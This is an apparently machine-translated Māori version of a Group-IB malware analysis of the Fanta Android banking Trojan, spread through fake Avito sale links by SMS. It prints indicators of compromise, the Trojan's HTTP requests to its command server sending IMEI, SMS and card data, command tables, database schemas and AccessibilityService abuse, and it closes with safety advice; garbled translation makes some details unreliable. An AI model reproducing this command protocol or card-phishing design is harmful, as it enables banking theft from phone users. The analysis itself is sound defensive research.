I tetahi ra e hiahia ana koe ki te hoko i tetahi mea i runga i a Avito, a, ka tukuna he whakamaarama taipitopito mo to hua (hei tauira, he waahanga RAM), ka whiwhi koe i tenei panui:
Ina whakatuwhera koe i te hono, ka kite koe i tetahi wharangi ahua harakore e whakaatu ana ki a koe, te kaihoko harikoa me te angitu, kua oti to hoko:
Ka paato koe i te paatene "Haere tonu", ka tangohia he konae APK me te tohu me te ingoa whakatenatena ki to taputapu Android. I whakauruhia e koe he tono na etahi take i tono motika AccessibilityService, katahi ka puta nga matapihi e rua, ka ngaro tere ka... Koia.
Ka haere koe ki te tirotiro i to pauna, engari mo etahi take ka tono ano to tono peeke mo nga taipitopito kaari. I muri i te whakauru i nga raraunga, ka puta he mea kino: mo etahi take kaore ano kia marama ki a koe, ka timata te moni ki te ngaro mai i to putea. Ka ngana koe ki te whakatika i te raru, engari ka tohe to waea: ka pehia e ia te tuara me nga taviri o te kaainga ki a ia ano, kaore e whakawetohia, kaore hoki e whakaae ki te whakahohe i nga tikanga haumaru. Ko te mutunga, ka mahue koe kaore he moni, kaore i hokona to hua, ka raruraru koe me te miharo: he aha te mea i tupu?
He ngawari te whakautu: kua mate koe i te Fanta Android Trojan, he mema o te whanau Flexnet. I pehea tenei? Me whakamarama inaianei.
Nga Kaituhi: Andrey Polovinkin, Kaitātari Waehere Kino Teina, Ivan Pisarev, Kaitātari Waehere Kino.
Ko etahi tatauranga
Ko te whanau Flexnet o Android Trojans i korero tuatahi i te tau 2015. I roto i te wa roa o te mahi, kua piki te whanau ki etahi momo iti: Fanta, Limebot, Lipton, etc. Ko te Torotiana, me nga hanganga e pa ana ki a ia, kaore e tu tonu: kei te whakawhanakehia nga kaupapa tohatoha whai hua hou - i roto i ta maatau, ko nga wharangi hītinihanga-kounga teitei e whai ana ki tetahi kaihoko-kaiwhakamahi motuhake, me nga kaiwhakawhanake Torotiana e whai ana i nga ahuatanga o te huaketo. tuhi - ka taapirihia he mahinga hou e taea ai te tahae moni mai i nga taputapu kua pangia me te karo i nga tikanga tiaki.
Ko te pakanga e whakaahuatia ana i roto i tenei tuhinga e whai ana ki nga kaiwhakamahi mai i Russia, he iti noa nga taputapu kua pangia kua tuhia ki Ukraine, me te iti ake i Kazakhstan me Belarus.
Ahakoa kua 4 tau te roa o te Flexnet i te ao Torotiana Android, kua akohia e te maha o nga kairangahau, he pai tonu te ahua. Mai i te Hanuere 2019, ko te nui o te kino ka neke atu i te 35 miriona rubles - a ko tenei anake mo nga kaupapa whakatairanga i Russia. I te tau 2015, he maha nga momo putanga o tenei Torotiana Android i hokona i runga i nga huihuinga o raro, i reira ka kitea e koe te waehere puna o te Torotiana me te whakamaarama taipitopito. Na ko te tikanga ko nga tatauranga o te kino o te ao he tino whakamiharo. Ehara i te ahua kino mo te koroua penei, kaore?
Mai i te hoko ki te tinihanga
Ka kitea mai i te whakaahua o mua o te wharangi hītinihanga i raro i te ratonga Ipurangi mo te tuku panui Avito, kua rite mo tetahi patunga motuhake. Ko te ahua, ka whakamahia e nga kaiwhaiwhai tetahi o nga parser a Avito, ka toia te nama waea me te ingoa o te kaihoko, me te whakaahuatanga o te hua. Whai muri i te tuku i te wharangi me te whakarite i te konae APK, ka tukuna he karere SMS ki te tangata kua mate me tona ingoa me te hono ki tetahi wharangi hītinihanga kei roto he whakaahuatanga o tana hua me te moni i riro mai i te "hoko" o te hua. Ma te panui i te paatene, ka whiwhi te kaiwhakamahi i tetahi konae APK kino - Fanta.
He rangahau mo te rohe shcet491[.]ru i whakaatu kua tukuna ki nga tūmau DNS a Hostinger:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
Kei roto i te konae rohe rohe nga urunga e tohu ana ki nga wahitau IP 31.220.23[.]236, 31.220.23[.]243, me 31.220.23[.]235. Heoi, ka tohu te rekoata rauemi matua rohe (A-record) ki te tūmau me te wāhitau IP 178.132.1[.]240.
Ko te wāhitau IP 178.132.1[.]240 kei roto i te Netherlands, no te hoster awa ao. Ko nga wahitau IP 31.220.23[.]235, 31.220.23[.]236 me 31.220.23[.]243 kei roto i te United Kingdom, no roto i te tūmau manaaki tiritahi HOSTINGER. Ka whakamahia hei rehita openprov-ru. I whakatauhia ano e nga puni ki te wahitau IP 178.132.1[.]240:
- sdelka-ru[.]ru
- tovar-av [.]ru
- hua-av[.]ru
- en-deal [.] en
- shcet382[.]ru
- sdelka221[.] en
- sdelka211[.] en
- vyplata437[.]ru
- viplata291[.] en
- whakamaori273[.] en
- whakamaori901[.] en
Me tohu ko nga hononga o te whakatakotoranga e whai ake nei i waatea mai i nga waahi katoa:
http://(www.){0,1}<%domain%>/[0-9]{7}
Kei roto i tenei tauira he hononga mai i te karere SMS. E ai ki nga korero o mua, i kitea he maha nga hononga e rite ana ki te tauira i runga ake nei e rite ana ki tetahi rohe, e tohu ana i te whakamahinga o te rohe kotahi ki te tohatoha i te Torotiana ki te maha o nga patunga.
Me peke whakamua: hei tūmau mana, ko te Torotiana i tangohia mai i te hono mai i te SMS ka whakamahi i te wahitau onusedseddohap[.]karapu. I rehitatia tenei rohe i te 2019-03-12, a ka timata mai i te 2019-04-29, i taunekeneke nga tono APK me tenei rohe. I runga i nga raraunga i whiwhi mai i VirusTotal, 109 nga tono i taunekeneke ki tenei tūmau. Ko te rohe ake ka whakatauhia ki tetahi wahitau IP 217.23.14[.]27, kei roto i te Netherlands me te rangatira o te hoster awa ao. Ka whakamahia hei rehita namecheap. Kua whakatauhia nga waahi ki tenei wahitau IP kino-racoon[.]karapu (timata mai i te 2018-09-25) me kino-racoon[.]live (mai i te 2018-10-25). Me te rohe kino-racoon[.]karapu i taunekeneke me te neke atu i te 80 nga konae APK, me te kino-racoon[.]live - neke atu i te 100.
I te nuinga o te waa, ko te huarahi o te whakaeke e whai ake nei:
He aha kei raro i te taupoki o Fanta?
Ka rite ki te maha atu o nga Torotiana Android, ka taea e Fanta te panui me te tuku karere SMS, te tono tono USSD, me te whakaatu i ona ake matapihi ki runga ake o nga tono (tae atu ki nga putea putea). Heoi, i roto i te taonga o te mahi o tenei whanau kua tae mai: I timata a Fanta ki te whakamahi Ratonga Urunga mo nga kaupapa rereke: te panui i nga korero o nga whakamohiotanga o etahi atu tono, te aukati i te kitenga me te aukati i te whakamatenga o te Torotiana i runga i tetahi taputapu kua pangia, etc. Ka mahi a Fanta ki nga putanga Android katoa tawhito ake i te 4.4. I roto i tenei tuhinga, ka ata titiro tatou ki te tauira Fanta e whai ake nei:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
I muri tonu i te whakarewatanga
I muri tonu i te whakarewatanga, ka huna e te Torotiana tana tohu. Ka taea e te tono te mahi mena kaore te ingoa o te taputapu kua pangia i te raarangi:
- phi_x86
- VirtualBox
- Nexus 5X(puruhead)
- Nexus 5(heu)
Ka mahia tenei taki i roto i te ratonga Torotiana matua - Ratonga Matua. Ka whakarewahia mo te wa tuatahi, ka arawhitihia nga tawhā whirihoranga o te tono ki nga uara taunoa (ko te whakatakotoranga mo te penapena raraunga whirihoranga me o raatau tikanga ka korerohia i muri mai), ka rehitatia he taputapu hou i runga i te kaimau mana whakahaere. Ka tukuna he tono HTTP POST me te momo karere ki te tūmau rēhita_bot me nga korero mo te taputapu kua pangia (putanga Android, IMEI, tau waea, ingoa kaiwhakahaere me te waehere whenua i rehitatia ai te kaiwhakahaere). Ko te wahitau hei tūmau mana hXXp://onuseseddohap[.]club/controller.php. Hei whakautu, ka tukuna e te tūmau he karere kei roto nga mara bot_id, bot_pwd, tūmau — Ko enei uara ka tiakina e te tono hei taapiri mo te tūmau CnC. Tawhā tūmau he kōwhiringa mena kaore i whakawhiwhia te mara: Ka whakamahia e Fanta te wahitau rehitatanga - hXXp://onuseseddohap[.]club/controller.php. Ko te mahi o te whakarereke i te wahitau CnC ka taea te whakamahi ki te whakaoti rapanga e rua: ki te tohatoha i te kawenga i waenga i nga kaitoro maha (me te maha o nga taputapu kua pangia, ka nui te uta ki runga i te tūmau tukutuku kaore i arotauhia), me te whakamahi i tetahi atu. tūmau i te wa i rahua tetahi o nga tūmau CnC.
Mena ka puta he hapa i te wa e tukuna ana te tono, ka tukuna ano e te Torotiana te tukanga rehitatanga i muri i te 20 hēkona.
I muri i te rehitatanga angitu o te taputapu, ka whakaatu a Fanta i te panui e whai ake nei ki te kaiwhakamahi:
Tuhipoka nui: he ratonga e kiia ana Haumarutanga Pūnaha - te ingoa o te ratonga Torotiana, a, i muri i te panui i te paatene OK ka tuwhera he matapihi me nga tautuhinga Whakaaetanga o te taputapu kua pangia, me tuku e te kaiwhakamahi ake nga motika Whakaaetanga mo te ratonga kino:
I te wa ka huri te kaiwhakamahi Ratonga Urunga, Ka uru atu a Fanta ki nga ihirangi o nga matapihi tono me nga mahi i mahia i roto:
I muri tonu mai i te whiwhi motika Whakaaetanga, ka tono te Torotiana mo nga mana kaiwhakahaere me nga mana ki te panui panui:
Ma te awhina o te AccessibilityService, ka whakatauirahia e te tono nga patene, na reira ka whakawhiwhia ki a ia nga mana tika katoa.
Ka hangaia e Fanta etahi waahi o nga papaa raraunga (ka korerohia i muri mai) e tika ana hei tiaki i nga raraunga whirihoranga, me nga korero mo te taputapu pangia i kohia i te wa o te mahi. Hei tuku i nga korero kua kohia, ka hangaia e te Torotiana he mahi auau i hangaia hei wetewete i nga mara mai i te papanga raraunga me te whiwhi whakahau mai i te tūmau mana. Ko te waahi mo te waea CnC kua whakaritea i runga i te putanga o te Android: i roto i te take o 5.1, ko te waahi ka 10 hēkona, ki te kore e 60 hēkona.
Ki te whiwhi whakahau, ka tono a Fanta GetTask ki te tūmau whakahaere. Hei whakautu, ka taea e CnC te tuku i tetahi o nga whakahau e whai ake nei:
| rōpū | Whakaahuatanga |
|---|---|
| 0 | Tukuna he karere SMS |
| 1 | Waea waea, whakahau USSD ranei |
| 2 | He whakahōu i tētahi tawhā waahi |
| 3 | He whakahōu i tētahi tawhā haukoti |
| 6 | He whakahōu i tētahi tawhā Kaiwhakahaere sms |
| 9 | Tīmatahia te kohi karere SMS |
| 11 | Tautuhi ano i te waea ki nga tautuhinga wheketere |
| 12 | Whakahohe/Whakakorehia te takiuru mo te hanga pouaka korero |
Ka kohia hoki e Fanta nga whakamohiotanga mai i nga peeke 70, te utu tere me nga tono e-pukoro me te penapena i roto i te papaa raraunga.
Te rokiroki o nga tawhā whirihoranga
Hei rokiroki i nga tawhā whirihoranga, ka whakamahi a Fanta i te huarahi paerewa mo te papaaho Android − Manakohanga-kōnae. Ka tiakina nga tautuhinga ki tetahi konae kua whakaingoatia tautuhinga. Ko te whakaahuatanga o nga tawhā kua tiakina kei te ripanga i raro nei.
| ingoa | Uara taunoa | Nga uara pea | Whakaahuatanga |
|---|---|---|---|
| id | 0 | tau tōpū | Bot ID |
| tūmau | hXXp://onuseseddohap[.]club/ | URL | Wāhitau tūmau whakahaere |
| pwd | - | aho | Kupuhipa tūmau |
| waahi | 20 | tau tōpū | Wā wā. Ka tohu te roa o nga mahi e whai ake nei me whakaroa:
|
| haukoti | katoa | katoa/telNumber | Mena he rite te mara ki te aho katoa ranei telNumber, katahi ka haukotia te karere SMS kua riro mai i te tono kaore e whakaatuhia ki te kaiwhakamahi |
| Kaiwhakahaere sms | 0 | 0/1 | Whakahohe / whakakorehia te tono hei kaiwhiwhi SMS taunoa |
| readDialog | teka | Tika/teka | Whakahohe/ Monokia te takiuru takahanga Takahanga Uru |
Ka whakamahi hoki a Fanta i te konae Kaiwhakahaere sms:
| ingoa | Uara taunoa | Nga uara pea | Whakaahuatanga |
|---|---|---|---|
| pckg | - | aho | Ko te ingoa o te kaiwhakahaere SMS i whakamahia |
Te taunekeneke me nga papaa raraunga
I te wa e mahi ana, ka whakamahia e te Torotiana nga papaunga raraunga e rua. Whakaingoatia te Raraunga Raraunga a whakamahia ki te rokiroki i nga momo korero i kohia mai i te waea. Ka whakaingoatia te papa raraunga tuarua fanta.db ka whakamahia hei tiaki i nga tautuhinga hei hanga i nga matapihi hītinihanga i hangaia hei kohi korero mo nga kaari peeke.
Kei te whakamahi a Torotiana i te papanga raraunga а ki te penapena i nga korero kua kohia me te tuhi i a raatau mahi. Ka penapena nga raraunga ki te ripanga rangitaki. Ko te uiui SQL e whai ake nei ka whakamahia hei hanga ripanga:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)Kei te pātengi raraunga nga korero e whai ake nei:
1. Takitaki i te taputapu kua pangia me te karere Kua whakakā te waea!
2. Nga panui mai i nga tono. Ka hangaia te karere kia rite ki te tauira e whai ake nei:
(<%App Name%>)<%Title%>: <%Notification text%>
3. Nga raraunga kaari putea mai i nga puka hītinihanga i hangaia e te Torotiana. Tawhā VIEW_NAME ka taea e tetahi o te rarangi:
- AliExpress
- Avito
- Play Google
- Aano <%Ingoa Taupānga%>
Kua takiuru te karere ki te whakatakotoranga:
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4. Karere SMS taumai / puta i te whakatakotoranga:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
5. Nga korero mo te kete ka waihanga i te pouaka korero ki te whakatakotoranga:
(<%Package name%>)<%Package information%>
Tauira ripanga rangitaki:
Ko tetahi o nga mahi a Fanta ko te kohinga korero mo nga kaari putea. Ka kohia nga raraunga ma te hanga i nga matapihi hītinihanga i te whakatuwheratanga o nga tono putea. Ka hangaia e te Torotiana he matapihi hītinihanga kotahi anake. Ko nga korero i whakaatuhia i te matapihi ki te kaiwhakamahi kei te rongoa ki te ripanga tautuhinga i roto i te paatai fanta.db. Ko te patai SQL e whai ake nei ka whakamahia hei hanga i te papaunga raraunga:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);Nga mara ripanga katoa tautuhinga i arawhiti ki te 1 (hangahia he matapihi hītinihanga) ma te taunoa. I muri i te whakaurunga o te kaiwhakamahi ki o raatau raraunga, ka whakatauhia te uara ki te 0. Tauira mara ripanga tautuhinga:
- taea_takiuru — Ko te mara te kawenga mo te whakaatu i te puka i te whakatuwheratanga o te tono putea
- first_bank - kaore i whakamahia
- can_avito - ko te mara te kawenga mo te whakaatu i te puka i te whakatuwheratanga o te tono Avito
- can_ali - Ko te mara te kawenga mo te whakaatu i te puka i te whakatuwheratanga o te tono Aliexpress
- taea_tetahi - ko te mara te kawenga mo te whakaatu i te puka ina whakatuwhera i tetahi tono mai i te rarangi: Yula, Pandao, Drome Auto, Pukoro. Kaari utu me nga kaari bonus, Aviasales, Rahui, Trivago
- can_card - ko te mara te kawenga mo te whakaatu i te puka ina whakatuwhera Play Google
Te taunekeneke me te tūmau mana
Ko te taunekeneke whatunga me te tūmau mana whakahaere ma te kawa HTTP. Ka whakamahia e Fanta te whare pukapuka Retrofit rongonui ki te mahi me te whatunga. Ka tukuna nga tono ki hXXp://onuseseddohap[.]club/controller.php. Ka taea te huri i te wahitau tūmau ina rēhita ki te tūmau. Ka whakahokia pea he pihikete mai i te tūmau. Ka tukuna e Fanta nga tono e whai ake nei ki te tūmau:
- Ko te rehitatanga bot i runga i te tūmau mana ka puta kotahi i te timatanga tuatahi. Ko nga raraunga e whai ake nei mo te taputapu kua pangia ka tukuna ki te tūmau:
· pihikete - pihikete i riro mai i te tūmau (he aho kau te uara taunoa)
· aratau — aho tonu rēhita_bot
· purua - tauoti tauoti 2
· putanga_sdk - ka hangaia kia rite ki te tauira e whai ake nei: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
· IMEI — IMEI o te taputapu kua pangia
· whenua — waehere o te whenua i rehitatia ai te kaiwhakahaere, ki te whakatakotoranga ISO
· tau - nama waea
· kaiwhakahaere — ingoa kaiwhakahaereHe tauira o te tono i tukuna ki te tūmau:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>Hei whakautu ki te tono, me whakahoki e te tūmau he ahanoa JSON kei roto nga tawhā e whai ake nei:
bot_id — te tohu o te taputapu kua pangia. Mena he rite te bot_id ki te 0, ka mahia ano e Fanta te tono.
bot_pwd - kupuhipa mo te tūmau.
tūmau — mana wāhitau tūmau. Tawhā kōwhiringa. Ki te kore te tawhā i tohua, ka whakamahia te wahitau kua tiakina ki te tono.tauira ahanoa JSON:
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- Tono kia whiwhi tono mai i te tūmau. Ka tukuna nga raraunga e whai ake nei ki te tūmau:
· pihikete — pihikete riro mai i te tūmau
· tono — id o te taputapu pangia, i riro mai i te wa e tukuna ana te tono rēhita_bot
· pwd -kupuhipa mo te tūmau
· kaiwhakahaere_kaiwhakahaere - ka whakatauhia e te mara mehemea kua whiwhi mana kaiwhakahaere. Mena kua whiwhi mana kaiwhakahaere, he rite te mara ki 1, ki te kore 0
· Āheitanga - te mana o te Ratonga Uru. Mena i timata te ratonga, ko te uara 1, ki te kore 0
· Kaiwhakahaere SMS - ka whakaatu mena ka whakahohea te Torotiana hei tono taunoa mo te whiwhi SMS
· mata — ka whakaatu he aha te ahua o te mata. ka whakaritea te uara 1ki te ka te mata, ki te kore 0;He tauira o te tono i tukuna ki te tūmau:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>I runga i te whakahau, ka whakahokia pea e te tūmau he ahanoa JSON me nga tawhā rereke:
· rōpū Tukuna he karere SMS: Kei roto i nga tawhā te nama waea, te tuhinga o te karere SMS me te tohu tohu o te karere ka tukuna. Ka whakamahia te tautohu ina tuku karere ki te tūmau me te momo huingaSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }· rōpū Waea waea, whakahau USSD ranei: Ko te nama waea, whakahau ranei ka tae mai ki te tinana o te whakautu.
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }· rōpū Hurihia te tawhā waahi.
{ "response": [ { "mode": 2, "interval": <%SECONDS%> } ], "status":"ok" }· rōpū Hurihia te tawhā haukoti.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/<%ANY_STRING%> } ], "status":"ok" }· rōpū Hurihia te mara SmsManager.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }· rōpū Kohikohia nga karere SMS mai i tetahi taputapu kua pangia.
{ "response": [ { "mode": 9 } ], "status":"ok" }· rōpū Tautuhi ano i te waea ki nga tautuhinga wheketere:
{ "response": [ { "mode": 11 } ], "status":"ok" }· rōpū Hurihia te tautuhinga ReadDialog.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- Te tuku karere me te momo huingaSmsStatus. Ka tukuna tenei tono i muri i te whakatinanatanga o te whakahau Tukuna he karere SMS. He penei te ahua o te tono:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>- Te tuku i nga ihirangi o te putunga raraunga. Kotahi te aho ka whakawhiti mo ia tono. Ka tukuna nga raraunga e whai ake nei ki te tūmau:
· pihikete — pihikete riro mai i te tūmau
· aratau — aho tonu setSaveInboxSms
· tono — id o te taputapu pangia, i riro mai i te wa e tukuna ana te tono rēhita_bot
· kuputuhi — tuhinga kei roto i te rekoata papaarangi o naianei (marae d mai i te tepu rangitaki i roto i te paatai а)
· tau — te ingoa o te rekoata raraunga o naianei (marae p mai i te tepu rangitaki i roto i te paatai а)
· sms_aratau — uara tauoti (apure m mai i te tepu rangitaki i roto i te paatai а)He penei te ahua o te tono:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>Kia angitu te tukunga ki te tūmau, ka tangohia te haupae mai i te ripanga. He tauira o te ahanoa JSON i whakahokia mai e te tūmau:
{ "response":[], "status":"ok" }
Te taunekeneke me te AccessibilityService
I whakatinanahia te AccessibilityService kia ngawari ake te whakamahi a te hunga haua ki nga taputapu Android. I te nuinga o nga wa, ka hiahiatia te taunekeneke tinana ki te mahi tahi me tetahi tono. Ko te AccessibilityService ka taea e koe te hanga ma te hotaka. Ka whakamahia e Fanta te ratonga ki te hanga matapihi rūpahu i roto i nga tono putea me te aukati i nga tautuhinga punaha me etahi tono kia tuwhera.
Ma te whakamahi i te mahi o te AccessibilityService, ka aro turuki te Torotiana i nga huringa ki nga huānga i runga i te mata o te taputapu kua pangia. Ka rite ki te korero i mua ake nei, kei roto i nga tautuhinga Fanta tetahi tawhā hei kawenga mo nga mahi takiuru me nga pouaka korero - readDialog. Mena kua tautuhia tenei tawhā, ka taapirihia nga korero mo te ingoa me te whakaahuatanga o te kete i whakaohooho i te takahanga ki te patengi raraunga. Ka mahia e te Torotiana nga mahi e whai ake nei ina puta nga takahanga:
- Ka whakatauira i nga patene ki muri me te kaainga ki te:
· ki te hiahia te kaiwhakamahi ki te whakaara ano i tana taputapu
· ki te hiahia te kaiwhakamahi ki te muku i te tono "Avito" ka huri ranei i nga mana uru
· mena he korero mo te tono "Avito" kei te wharangi
· ina whakatuwhera koe i te taupānga "Tauturu a Google Play".
· i te whakatuwhera i nga wharangi me nga tautuhinga AccessibilityService
· ka puta te pouaka korero Haumarutanga Pūnaha
· i te whakatuwheratanga o te wharangi me nga tautuhinga "Tuhia ki runga i tetahi atu taupānga"
· ka whakatuwhera koe i te wharangi "Nga Tono", "Pūrua me te Tautuhi", "Tautuhi Raraunga", "Tautuhi Tautuhinga", "Paewhiri Kaiwhakawhanake", "Spec. whai wāhitanga", "Whakauru", "Motika motuhake"
· mehemea i hangaia te huihuinga e etahi tono.Rarangi tono
- phi
- Matua Lite
- Rangatira ma
- Ma te Kaiwhakaako mo te x86 CPU
- Meizu Applicatiom Whakaaetanga Whakahaere
- MIUI Haumarutanga
- Ma te Kaiwhakaako - Pareketo me te Keteroki me te Kaihoroi Paraurehe
- Nga mana maatua me te GPS: Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Web Security Beta
- Kaihoroi Virus, Antivirus, Kaihoroi (MAX Haumarutanga)
- Mobile AntiVirus Security PRO
- Avast wheori me te tiaki koreutu 2019
- MegaFon Haumarutanga Mobile
- Parenga AVG mo Xperia
- Haumarutanga pūkoro
- Malwarebytes wheori me te tiaki
- pareketo mo te Android 2019
- Kaiwhakaako Haumarutanga - Antivirus, VPN, AppLock, Booster
- AVG wheori mo te papa Kaiwhakahaere Pūnaha Huawei
- Samsung Accessibility
- Kaiwhakahaere Smart Samsung
- Rangatira Haumaru
- Booster Tere
- Tukutuku a Dr
- Mokowā Haumaru Dr.Web
- Dr.Web Mobile Mana Center
- Dr.Web Security Space Life
- Dr.Web Mobile Mana Center
- Antivirus me te Haumaru Waea
- Kaspersky Haumarutanga Ipurangi: Pareketo me te Whakahaumaru
- Kaspersky Battery Life: Tiaki me te Whakanui
- Kaspersky Endpoint Security - tiaki me te whakahaere
- AVG Antivirus koreutu 2019 - Parenga mo te Android
- Rorohiko pareketo
- Norton Mobile Haumarutanga me te pareketo
- Antivirus, pātūahi, VPN, haumarutanga pūkoro
- Haumarutanga Pukoro: Antivirus, VPN, Anti-Tahae
- pareketo mo te Android
- Mena ka tono whakaaetanga ka tukuna he karere SMS ki tetahi nama poto, ka whakatauhia e Fanta te panui i te pouakataki Kia mahara ki te whiriwhiri me te paatene tuku.
- Ka ngana koe ki te tango i nga mana whakahaere mai i te Torotiana, ka aukatihia te mata waea.
- Ka aukati i nga kaiwhakahaere hou ki te taapiri.
- Mena te tono wheori dr.tukutuku ka kitea he riri, ka whakatauira a Fanta ki te pehi i te paatene whakahawea.
- Ka whakatauirahia e te Torotiana te pehi i te tuara me te paatene kaainga mena na te tono i hanga te kaupapa Tiaki Pūrere Samsung.
- Ka hangaia e Fanta nga matapihi hītinihanga me nga puka hei whakauru korero mo nga kaari peeke mena ka whakarewahia he tono mai i te rarangi o nga ratonga Ipurangi rereke e 30. I roto i a raatau: AliExpress, Rahui, Avito, Google Play Market Component, Pandao, Drome Auto, etc.
Puka Hītinihanga
Ka tātarihia e Fanta nga tono e rere ana i runga i te taputapu kua pangia. Mena kua whakatuwherahia he tono paanga, ka whakaatuhia e te Torotiana he matapihi hītinihanga ki runga ake o era atu katoa, he puka hei whakauru korero mo te kaari putea. Me whakauru te kaiwhakamahi i nga raraunga e whai ake nei:
- Tau nama
- Te ra paunga o te kaari
- CVV
- Te ingoa o te kaipupuri kaari (ehara mo nga peeke katoa)
I runga i te tono e rere ana, ka whakaatuhia nga matapihi hītinihanga rereke. E whai ake nei nga tauira o etahi o ratou:
AliExpress:
Avito:
Mo etahi atu tono penei Google Play Market, Aviasales, Pandao, Rahui, Trivago:
He pehea tena
Waimarie, ko te tangata i whiwhi i te karere SMS i whakaahuatia i te timatanga o te tuhinga ka puta he tohunga mo te ipurangi. Na reira, he rereke te ahua o te tino, ehara i te kaiwhakahaere i te korero i mua ake nei: i whiwhi te tangata i tetahi SMS whakamere, i muri iho ka hoatu e ia ki te roopu Roopu-IB Threat Hunting Intelligence. Ko te hua o te whakaeke ko tenei tuhinga. He pai te mutunga, tika? Heoi ano, ehara i te mea he pai te mutunga o nga korero katoa, kia kore ai e rite to ahua ki te tapahi a te kaiwhakahaere me te ngaro o te moni, i te nuinga o te waa ka nui noa atu ki te u ki nga ture kua roa nei te korero:
- Kaua e whakauru i nga taupānga mo to taputapu pūkoro Android mai i tetahi puna atu i a Google Play
- i te wa e whakauru ana i te tono, me aro nui ki nga tika i tonoa e te tono
- kia aro ki nga toronga o nga konae kua tukuake
- tāutahia nga whakahou OS Android i nga wa katoa
- kaua e toro atu ki nga rauemi whakapae, kaua hoki e tango i nga konae mai i reira
- Kaua e paatohia nga hononga kua tae mai ki nga karere SMS.
Source: will.com